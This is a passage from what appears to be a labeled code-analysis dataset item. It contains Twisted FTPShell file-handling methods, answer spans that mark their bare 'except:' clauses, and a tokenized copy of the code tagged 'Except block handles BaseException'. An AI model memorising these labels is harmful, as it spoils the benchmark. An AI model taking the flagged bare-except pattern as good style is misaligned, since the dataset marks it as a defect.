@param keys: the list of desired metadata\n @type keys: C{list} of C{str}\n \"\"\"\n filePath = self._path(path)\n if filePath.isdir():\n entries = filePath.listdir()\n fileEntries = [filePath.child(p) for p in entries]\n elif filePath.isfile():\n entries = [os.path.join(*filePath.segmentsFrom(self.filesystemRoot))]\n fileEntries = [filePath]\n else:\n return defer.fail(FileNotFoundError(path))\n\n results = []\n for fileName, filePath in zip(entries, fileEntries):\n ent = []\n results.append((fileName, ent))\n if keys:\n try:\n ent.extend(self._statNode(filePath, keys))\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, fileName)\n except:\n return defer.fail()\n\n return defer.succeed(results)", "metadata": "root.FTPAnonymousShell.list", "header": "['class', 'FTPAnonymousShell', '(', 'object', ')', ':', '___EOS___']", "index": 1698 }, { "content": " def makeDirectory(self, path):\n p = self._path(path)\n try:\n p.makedirs()\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(None)", "metadata": "root.FTPShell.makeDirectory", "header": "['class', 'FTPShell', '(', 'FTPAnonymousShell', ')', ':', '___EOS___']", "index": 1802 }, { "content": " def removeDirectory(self, path):\n p = self._path(path)\n if p.isfile():\n # Win32 returns the wrong errno when rmdir is called on a file\n # instead of a directory, so as we have the info here, let's fail\n # early with a pertinent error\n return defer.fail(IsNotADirectoryError(path))\n try:\n os.rmdir(p.path)\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(None)", "metadata": "root.FTPShell.removeDirectory", "header": "['class', 'FTPShell', '(', 'FTPAnonymousShell', ')', ':', '___EOS___']", "index": 1814 }, { "content": " def removeFile(self, path):\n p = self._path(path)\n if p.isdir():\n # Win32 returns the wrong errno when remove is called on a\n # directory instead of a file, so as we have the info here,\n # let's fail early with a pertinent error\n return defer.fail(IsADirectoryError(path))\n try:\n p.remove()\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n else:\n return defer.succeed(None)", "metadata": "root.FTPShell.removeFile", "header": "['class', 'FTPShell', '(', 'FTPAnonymousShell', ')', ':', '___EOS___']", "index": 1831 }, { "content": " def rename(self, fromPath, toPath):\n fp = self._path(fromPath)\n tp = self._path(toPath)\n try:\n os.rename(fp.path, tp.path)\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, fromPath)\n except:\n return defer.fail()\n else:\n return defer.succeed(None)", "metadata": "root.FTPShell.rename", "header": "['class', 'FTPShell', '(', 'FTPAnonymousShell', ')', ':', '___EOS___']", "index": 1848 }, { "content": " def openForWriting(self, path):\n \"\"\"\n Open C{path} for writing.\n\n @param path: The path, as a list of segments, to open.\n @type path: C{list} of C{unicode}\n @return: A L{Deferred} is returned that will fire with an object\n implementing L{IWriteFile} if the file is successfully opened. If\n C{path} is a directory, or if an exception is raised while trying\n to open the file, the L{Deferred} will fire with an error.\n \"\"\"\n p = self._path(path)\n if p.isdir():\n # Normally, we would only check for EISDIR in open, but win32\n # returns EACCES in this case, so we check before\n return defer.fail(IsADirectoryError(path))\n try:\n fObj = p.open('w')\n except (IOError, OSError), e:\n return errnoToFailure(e.errno, path)\n except:\n return defer.fail()\n return defer.succeed(_FileWriter(fObj))", "metadata": "root.FTPShell.openForWriting", "header": "['class', 'FTPShell', '(', 'FTPAnonymousShell', ')', ':', '___EOS___']", "index": 1861 } ]
[ { "span": "except:", "start_line": 445, "start_column": 8, "end_line": 445, "end_column": 15 }, { "span": "except:", "start_line": 1652, "start_column": 8, "end_line": 1652, "end_column": 15 }, { "span": "except:", "start_line": 1677, "start_column": 8, "end_line": 1677, "end_column": 15 }, { "span": "except:", "start_line": 1690, "start_column": 12, "end_line": 1690, "end_column": 19 }, { "span": "except:", "start_line": 1728, "start_column": 16, "end_line": 1728, "end_column": 23 }, { "span": "except:", "start_line": 1808, "start_column": 8, "end_line": 1808, "end_column": 15 }, { "span": "except:", "start_line": 1825, "start_column": 8, "end_line": 1825, "end_column": 15 }, { "span": "except:", "start_line": 1842, "start_column": 8, "end_line": 1842, "end_column": 15 }, { "span": "except:", "start_line": 1855, "start_column": 8, "end_line": 1855, "end_column": 15 }, { "span": "except:", "start_line": 1881, "start_column": 8, "end_line": 1881, "end_column": 15 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "DT", "P_", "(_", "object_", ",_", "protocol_", "._", "Protocol_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "cons", "write_", "(_", "self_", ",_", "bytes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "cons_", "._", "write_", "(_", "bytes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "on", "Con", "n", "Lost", "_", "._", "errback", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Ano", "nym", "ous", "Shell_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open", "For", "Reading", "_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Open", " ", "C", "{", "path", "}", " ", "for", " ", "readi", "ng", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "path", ":", " ", "The", " ", "path", ",", " ", "as", " ", "a", " ", "list", " ", "of", " ", "segments", ",", " ", "to", " ", "open", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "path", ":", " ", "C", "{", "list", "}", " ", "of", " ", "C", "{", "unicode", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "A", " ", "L", "{", "Defe", "rre", "d", "}", " ", "is", " ", "return", "ed", " ", "tha", "t", " ", "will", " ", "fire", " ", "with", " ", "an", " ", "object", "\\", "10", ";", " ", " ", " ", " ", "implement", "ing", " ", "L", "{", "IR", "ead", "File", "}", " ", "if", " ", "the", " ", "file", " ", "is", " ", "success", "full", "y", " ", "opene", "d", ".", " ", " ", "If", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "path", "}", " ", "is", " ", "a", " ", "director", "y", ",", " ", "or", " ", "if", " ", "an", " ", "exception", " ", "is", " ", "raise", "d", " ", "whi", "le", " ", "try", "ing", "\\", "10", ";", " ", " ", " ", " ", "to", " ", "open", " ", "the", " ", "file", ",", " ", "the", " ", "L", "{", "Defe", "rre", "d", "}", " ", "will", " ", "fire", " ", "with", " ", "an", " ", "error", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "isdir_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Normal", "ly", ",", " ", "we", " ", "wou", "ld", " ", "only", " ", "check", " ", "for", " ", "EI", "SD", "IR", " ", "in", " ", "open", ",", " ", "but", " ", "win32", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "return", "s", " ", "EAC", "CES", " ", "in", " ", "this", " ", "case", ",", " ", "so", " ", "we", " ", "check", " ", "before_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "Is", "AD", "irect", "ory", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "p_", "._", "open_", "(_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "\\u", "File", "Reader_", "(_", "f_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Ano", "nym", "ous", "Shell_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "access_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "p_", "._", "exists_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Again", ",", " ", "win32", " ", "doe", "sn", "'", "t", " ", "report", " ", "a", " ", "sane", " ", "error", " ", "after", ",", " ", "so", " ", "let", "'", "s", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ear", "ly", " ", "if", " ", "we", " ", "can_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "File", "Not", "Foun", "d", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "For", " ", "now", ",", " ", "just", " ", "see", " ", "if", " ", "we", " ", "can", " ", "os", ".", "listd", "ir", "()", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "listdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Ano", "nym", "ous", "Shell_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "stat_", "(_", "self_", ",_", "path_", ",_", "keys_", "=_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "isdir_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stat", "Result_", "=_", "self_", "._", "\\u", "stat", "Node_", "(_", "p_", ",_", "keys_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "stat", "Result_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "list_", "(_", "path_", ",_", "keys_", ")_", "._", "add", "Callback_", "(_", "lambda_", "res_", ":_", "res_", "[_", "0_", "]_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Ano", "nym", "ous", "Shell_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "list_", "(_", "self_", ",_", "path_", ",_", "keys_", "=_", "(_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Return", " ", "the", " ", "list", " ", "of", " ", "files", " ", "at", " ", "give", "n", " ", "C", "{", "path", "},", " ", "addin", "g", " ", "C", "{", "keys", "}", " ", "stat", "\\", "10", ";", " ", " ", " ", " ", "informations", " ", "if", " ", "specified", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "path", ":", " ", "the", " ", "director", "y", " ", "or", " ", "file", " ", "to", " ", "check", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "path", ":", " ", "C", "{", "str", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "keys", ":", " ", "the", " ", "list", " ", "of", " ", "desi", "red", " ", "metadata", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "keys", ":", " ", "C", "{", "list", "}", " ", "of", " ", "C", "{", "str", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Path_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "file", "Path_", "._", "isdir_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entries_", "=_", "file", "Path_", "._", "listdir_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Entries_", "=_", "[_", "file", "Path_", "._", "child_", "(_", "p_", ")_", "for_", "p_", "in_", "entries_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "file", "Path_", "._", "isfile_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "entries_", "=_", "[_", "os_", "._", "path_", "._", "join_", "(_", "*_", "file", "Path_", "._", "segments", "From_", "(_", "self_", "._", "filesystem", "Root_", ")_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "file", "Entries_", "=_", "[_", "file", "Path_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "File", "Not", "Foun", "d", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "file", "Name_", ",_", "file", "Path_", "in_", "zip_", "(_", "entries_", ",_", "file", "Entries_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ent_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "._", "append_", "(_", "(_", "file", "Name_", ",_", "ent_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "ent_", "._", "extend_", "(_", "self_", "._", "\\u", "stat", "Node_", "(_", "file", "Path_", ",_", "keys_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "defer_", "._", "succeed_", "(_", "results_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Shell_", "(_", "FTP", "Ano", "nym", "ous", "Shell_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "make", "Directory_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "makedirs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Shell_", "(_", "FTP", "Ano", "nym", "ous", "Shell_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "Directory_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "isfile_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Win", "32", " ", "return", "s", " ", "the", " ", "wrong", " ", "errno", " ", "whe", "n", " ", "rmd", "ir", " ", "is", " ", "call", "ed", " ", "on", " ", "a", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "inst", "ead", " ", "of", " ", "a", " ", "director", "y", ",", " ", "so", " ", "as", " ", "we", " ", "have", " ", "the", " ", "info", " ", "here", ",", " ", "let", "'", "s", " ", "fail_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "ear", "ly", " ", "with", " ", "a", " ", "pert", "inen", "t", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "Is", "Not", "AD", "irect", "ory", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "rmdir_", "(_", "p_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Shell_", "(_", "FTP", "Ano", "nym", "ous", "Shell_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "File_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "self_", "._", "\\u", "path_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", "._", "isdir_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Win", "32", " ", "return", "s", " ", "the", " ", "wrong", " ", "errno", " ", "whe", "n", " ", "remove", " ", "is", " ", "call", "ed", " ", "on", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "director", "y", " ", "inst", "ead", " ", "of", " ", "a", " ", "file", ",", " ", "so", " ", "as", " ", "we", " ", "have", " ", "the", " ", "info", " ", "here", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "let", "'", "s", " ", "fail", " ", "ear", "ly", " ", "with", " ", "a", " ", "pert", "inen", "t", " ", "error_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", "Is", "AD", "irect", "ory", "Error_", "(_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "remove_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Shell_", "(_", "FTP", "Ano", "nym", "ous", "Shell_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "rename_", "(_", "self_", ",_", "from", "Path_", ",_", "to", "Path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "fp_", "=_", "self_", "._", "\\u", "path_", "(_", "from", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tp_", "=_", "self_", "._", "\\u", "path_", "(_", "to", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "rename_", "(_", "fp_", "._", "path_", ",_", "tp_", "._", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "(_", "IO", "Error_", ",_", "OSE", "rror_", ")_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "errno", "To", "Failure_", "(_", "e_", "._", "errno_", ",_", "from", "Path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "fail_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "defer_", "._", "succeed_", "(_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "FTP", "Shell_", "(_", "FTP", "Ano", "nym", "ous", "Shell_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "open", "For", "Writ", "ing_", "(_", 